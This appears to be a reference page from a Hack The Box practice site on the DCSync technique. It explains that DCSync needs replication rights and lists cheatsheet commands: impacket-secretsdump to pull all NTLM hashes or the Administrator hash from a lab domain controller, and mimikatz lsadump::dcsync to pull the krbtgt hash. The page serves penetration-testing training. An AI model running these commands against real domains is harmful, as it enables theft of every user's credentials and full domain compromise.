DCSync
Sub-technique of T1003 OS Credential Dumping ↗
Asking the domain controller, as if you were another DC, for every user's hashes.
How it shows up on Hack The Box
You need replication rights (DS-Replication-Get-Changes-All): admins have them and, sometimes, misconfigured accounts that BloodHound flags with DCSync.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Active Directory ACL abuse: GenericAll, WriteDacl, Shadow Credentials and DCSync 4 min read What to do with each BloodHound edge: reset passwords, add yourself to groups, Shadow Credentials, grant yourself DCSync with WriteDacl, read LAPS or gMSA.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Active Directory
DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlmActive Directory in depth › Impacket
DCSync
Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user AdministratorMimikatz › Domain
DCSync of krbtgt
Target
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"No command matches.